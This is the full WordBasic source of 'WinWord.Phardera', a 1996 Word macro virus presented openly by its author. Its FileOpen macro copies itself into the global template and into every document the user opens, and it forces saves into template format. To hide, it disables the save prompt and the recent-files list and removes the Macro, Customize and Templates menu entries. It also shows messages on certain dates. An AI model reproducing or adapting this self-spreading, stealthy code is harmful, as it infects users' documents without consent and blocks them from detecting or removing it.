'----------------- FileOpen macro ---------------------------

'* WinWord.Phardera (with encrypt and stealth)
'* Virographer by Phardera [VBB]
'* Last Update: July 10, 96.
'* Dedicated to Dianita DSR and All VBBers
'* This virus was written in the city of Batavia, Indonesia.

'If you found 'bugs' please contact me!

Dim Shared Macros$(2)
Dim Shared TotalMacros

Sub Main
  On Error Goto Esc
  DisableAutoMacros 1
  InfectGlobal(FileName$())

  Dim DlgFO As FileOpen
  GetCurValues DlgFO
  Dialog DlgFO
  FileOpen DlgFO
  InfectDoc(DlgFO.Name)
  FuckIt

  Goto DoneFO

Esc:
  If Err <> 102 Then
    FileOpen DlgFO
  End If

DoneFO:
  Let Err = 0
End Sub

Sub InfectGlobal(DocName$)
  On Error Goto Done1

  SetMacros
  Let Already = 0

  For i = 1 To CountMacros(0, 0)
    For j = 1 To TotalMacros
      If MacroName$(i, 0, 0) = Macros$(j) Then
        Let Already = - 1
      End If
    Next j
  Next i

  If Not Already Then
    ToolsOptionsSave .GlobalDotPrompt = 0
    ToolsOptionsGeneral .RecentFiles = 0
    MacroCopy DocName$ + ":FileOpen", "Global:FileOpen", 1
    ToolsCustomizeMenus .Name = "ToolsMacro", .Menu = "Tools", .Remove
    ToolsCustomizeMenus .Name = "ToolsCustomize", .Menu = "Tools", .Remove
    ToolsCustomizeMenus .Name = "FileTemplates", .Menu = "File", .Remove
  End If

Done1:
  Let Err = 0
End Sub

Sub InfectDoc(DocName$)
  On Error Goto Done2

  Dim Dlg As FileSaveAs
  GetCurValues Dlg
  If Dlg.Format = 0 Then Let Dlg.Format = 1

  If Dlg.Format = 1 Then
    SetMacros
    Let Already = 0
    For i = 1 To CountMacros(1, 0)
      For j = 1 To TotalMacros
        If MacroName$(i, 1, 0) = Macros$(j) Then
          Let Already = - 1
        End If
      Next j
    Next i
    If Not Already Then
      MacroCopy "Global:FileOpen", DocName$ + ":FileOpen", 1
      FileSaveAs Dlg
    End If
  End If

Done2:
  Let Err = 0
End Sub

Sub SetMacros
  Let TotalMacros = 4
  Let Macros$(1) = "FileOpen"
  Let Macros$(2) = "ToolsCustomizeMenus"
  Let Macros$(3) = "ToolsOptionsSave"
  Let Macros$(4) = "ToolsOptionsGeneral"
End Sub

Sub FuckIt
  If Day(Now()) = 14 Then
    MsgBox "Dianita DSR. [I Love Her!]", "Phardera [VBB]", 64
  ElseIf Day(Now()) = 31 Then
    MsgBox "Phardera was here!", "Phardera [VBB]", 16
  End If    
End Sub
